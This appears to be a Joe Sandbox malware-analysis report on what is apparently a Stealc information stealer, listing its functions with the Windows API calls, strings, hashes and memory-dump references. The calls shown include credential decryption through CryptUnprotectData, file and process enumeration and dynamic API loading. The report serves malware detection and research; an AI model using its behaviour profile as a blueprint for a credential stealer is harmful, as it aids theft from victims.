StrCmpCA.SHLWAPI(?,00655274), ref: 00631973
StrCmpCA.SHLWAPI(?,0065531C), ref: 00631989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00631D40
DeleteFileA.KERNEL32(00000000), ref: 00631DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00631E20
FindClose.KERNEL32(000000FF), ref: 00631E32

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Strings

P2#v, xrefs: 00631E20
\*.*, xrefs: 006317F1
1#v, xrefs: 00631923

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: 068288ec40d6a685f11e2990a4f05ef7fc86a6963c50e5aa80db47231866fcbf
Instruction ID: 55723592cf9c3831e7bb81669e5b11919489caf9b9e583352b7bbff49c8fc9fb
Opcode Fuzzy Hash: 068288ec40d6a685f11e2990a4f05ef7fc86a6963c50e5aa80db47231866fcbf
Instruction Fuzzy Hash: FE126F71851118BBEB59FBA0CC96EEE733AAF55300F41419DB50A62091EF306F89CFA5

Function 0063E430 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00650D73), ref: 0063E4A2
StrCmpCA.SHLWAPI(?,006514F8), ref: 0063E4F2
StrCmpCA.SHLWAPI(?,006514FC), ref: 0063E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0063EBDF

Strings

P2#v, xrefs: 0063EBDF
c, xrefs: 0063EBF5, 0063E5EB, 0063E71C, 0063E85B, 0063E4B9, 0063E5EE, 0063E71F, 0063E85E
1#v, xrefs: 0063E4A2
\*.*, xrefs: 0063E44D

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: P2#v$\*.*$1#v$c
API String ID: 433455689-3816677140
Opcode ID: ca31cce49e240dac9537315bd1618e8e4fcfdfa6db2ff804eb9ec9693485b1e9
Instruction ID: d434bf8d5feeba569d66d28cd5fc26331f2af0354aac6ad883c4a3c406f18254
Opcode Fuzzy Hash: ca31cce49e240dac9537315bd1618e8e4fcfdfa6db2ff804eb9ec9693485b1e9
Instruction Fuzzy Hash: 47126671950118BBEB58FBA0DC96EED733AAF54300F41459CB50A56091EF30AF49CFA6

Function 00647B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

GetKeyboardLayoutList.USER32(00000000,00000000,006505AF), ref: 00647BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00647BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00647C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00647C62
LocalFree.KERNEL32(00000000), ref: 00647D22

Strings

/ , xrefs: 00647C7F

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: bdfb2023a9bf47cede17779f34cb1d2de3ee90133245ec42316476b5ead6307b
Instruction ID: c6fac26da4827f325565db59b41f13778d7bb644987ee34c2717251307e94d86
Opcode Fuzzy Hash: bdfb2023a9bf47cede17779f34cb1d2de3ee90133245ec42316476b5ead6307b
Instruction Fuzzy Hash: 24416B71940218AFDB64DB94DC89BEEB37AFF44700F204199E40962281DB346F85CFA5

Function 00649600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0064961E
Process32First.KERNEL32(00650ACA,00000128), ref: 00649632
Process32Next.KERNEL32(00650ACA,00000128), ref: 00649647
StrCmpCA.SHLWAPI(?,00000000), ref: 0064965C
CloseHandle.KERNEL32(00650ACA), ref: 0064967A

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e07aa44e97b800944ed40e60ee71ec6d9eedf04b42c65a34f141a294026bd841
Instruction ID: 4df541b73a15f37f1f3779838a16eb0789957be3c16de2d9801ea45409201875
Opcode Fuzzy Hash: e07aa44e97b800944ed40e60ee71ec6d9eedf04b42c65a34f141a294026bd841
Instruction Fuzzy Hash: 3E011E75A40208EBDB18DFA5CD48BEEB7F9FB48741F104198A909A7240D734DB80DF61

Function 00639B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00639B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00639BA3
memcpy.MSVCRT(?,?,?), ref: 00639BC6
LocalFree.KERNEL32(?), ref: 00639BD3

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c6328515f41d5f442e42857c9f894bb3aa724e1c00e49906471a1c1d79cbc01c
Instruction ID: 4d7953a025a015691ac4e52410bb5196fa2f8e0f0acf3cb4b3c72c3c68b8cfab
Opcode Fuzzy Hash: c6328515f41d5f442e42857c9f894bb3aa724e1c00e49906471a1c1d79cbc01c
Instruction Fuzzy Hash: 7A11CCB8A00209DFCB04DF94D989AAEB7B9FF88300F104558F915A7354D774AE50CFA1

Function 00647850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
HeapAlloc.KERNEL32(00000000,?,?,?,006311B7), ref: 00647887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: c231deda2371d1bf1637c8e03044876dfc31978bf3df3461d29083163fa272de
Instruction ID: d4c7e7b7f10c2eecb08ff4ac2bfa319c652a6149412537238abafc0662b29288
Opcode Fuzzy Hash: c231deda2371d1bf1637c8e03044876dfc31978bf3df3461d29083163fa272de
Instruction Fuzzy Hash: C8F04FB1D44208AFC714DF98DD4ABAEBBB8FB44711F10026AFA05A2680C77555448BA2

Function 00631160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00646A17,00650AEF), ref: 0063116A
ExitProcess.KERNEL32 ref: 0063117E

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 4d277f8fab47840d91b3a464fecd47aa6f504a1683e47d2058fd4109d5b00082
Instruction ID: 71474c03e4abb354d6985547a61f3e14403ed78f84a39a7cbfcc3a287a3ad20a
Opcode Fuzzy Hash: 4d277f8fab47840d91b3a464fecd47aa6f504a1683e47d2058fd4109d5b00082
Instruction Fuzzy Hash: 64D05E7490030CDBCB08DFE0D84D6DDBB78FB48312F000594D90962340EA3094C2CAA6

Function 00649C10 Relevance: 203.7, APIs: 112, Strings: 4, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00F6A9F8), ref: 00649C2D
GetProcAddress.KERNEL32(76210000,00F6AB38), ref: 00649C45
GetProcAddress.KERNEL32(76210000,00F62528), ref: 00649C5E
GetProcAddress.KERNEL32(76210000,00F62540), ref: 00649C76
GetProcAddress.KERNEL32(76210000,00F62558), ref: 00649C8E
GetProcAddress.KERNEL32(76210000,00F625A0), ref: 00649CA7
GetProcAddress.KERNEL32(76210000,00F65488), ref: 00649CBF
GetProcAddress.KERNEL32(76210000,00F625B8), ref: 00649CD7
GetProcAddress.KERNEL32(76210000,00F625D0), ref: 00649CF0
GetProcAddress.KERNEL32(76210000,00F625E8), ref: 00649D08
GetProcAddress.KERNEL32(76210000,00F62600), ref: 00649D20
GetProcAddress.KERNEL32(76210000,00F6AA18), ref: 00649D39
GetProcAddress.KERNEL32(76210000,00F6A978), ref: 00649D51
GetProcAddress.KERNEL32(76210000,00F6A898), ref: 00649D69
GetProcAddress.KERNEL32(76210000,00F6AA98), ref: 00649D82
GetProcAddress.KERNEL32(76210000,00F62828), ref: 00649D9A
GetProcAddress.KERNEL32(76210000,00F627B0), ref: 00649DB2
GetProcAddress.KERNEL32(76210000,00F65668), ref: 00649DCB
GetProcAddress.KERNEL32(76210000,00F6A8B8), ref: 00649DE3
GetProcAddress.KERNEL32(76210000,00F62768), ref: 00649DFB
GetProcAddress.KERNEL32(76210000,00F627C8), ref: 00649E14
GetProcAddress.KERNEL32(76210000,00F627F8), ref: 00649E2C
GetProcAddress.KERNEL32(76210000,00F627E0), ref: 00649E44
GetProcAddress.KERNEL32(76210000,00F6AAB8), ref: 00649E5D
GetProcAddress.KERNEL32(76210000,00F62798), ref: 00649E75
GetProcAddress.KERNEL32(76210000,00F62780), ref: 00649E8D
GetProcAddress.KERNEL32(76210000,00F62810), ref: 00649EA6
GetProcAddress.KERNEL32(76210000,00F6FB70), ref: 00649EBE
GetProcAddress.KERNEL32(76210000,00F6FBB8), ref: 00649ED6
GetProcAddress.KERNEL32(76210000,00F6FB10), ref: 00649EEF
GetProcAddress.KERNEL32(76210000,00F6FA20), ref: 00649F07
GetProcAddress.KERNEL32(76210000,00F6FB28), ref: 00649F1F
GetProcAddress.KERNEL32(76210000,00F6FC90), ref: 00649F38
GetProcAddress.KERNEL32(76210000,00F645E0), ref: 00649F50
GetProcAddress.KERNEL32(76210000,00F6FA68), ref: 00649F68
GetProcAddress.KERNEL32(76210000,00F6FC00), ref: 00649F81
GetProcAddress.KERNEL32(76210000,00F6AAD8), ref: 00649F99
GetProcAddress.KERNEL32(76210000,00F6FA38), ref: 00649FB1
GetProcAddress.KERNEL32(76210000,00F6AAF8), ref: 00649FCA
GetProcAddress.KERNEL32(76210000,00F6FC78), ref: 00649FE2
GetProcAddress.KERNEL32(76210000,00F6FC60), ref: 00649FFA
GetProcAddress.KERNEL32(76210000,00F6ABD8), ref: 0064A013
GetProcAddress.KERNEL32(76210000,00F6AB18), ref: 0064A02B
LoadLibraryA.KERNEL32(00F6FAF8,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A03D
LoadLibraryA.KERNEL32(00F6FCC0,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A04E
LoadLibraryA.KERNEL32(00F6FA50,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A060
LoadLibraryA.KERNEL32(00F6FB40,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A072
LoadLibraryA.KERNEL32(00F6FB58,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A083
LoadLibraryA.KERNEL32(00F6FBA0,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A095
LoadLibraryA.KERNEL32(00F6FBE8,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A0A7
LoadLibraryA.KERNEL32(00F6FB88,?,00645CA3,?,00000034,00000064,00646600,?,0000002C,00000064,006465A0,?,00000030,00000064,Function_00015AD0,?), ref: 0064A0B8
GetProcAddress.KERNEL32(751E0000,00F6AB58), ref: 0064A0DA
GetProcAddress.KERNEL32(751E0000,00F6FBD0), ref: 0064A0F2
GetProcAddress.KERNEL32(751E0000,00F6D688), ref: 0064A10A
GetProcAddress.KERNEL32(751E0000,00F6FC18), ref: 0064A123
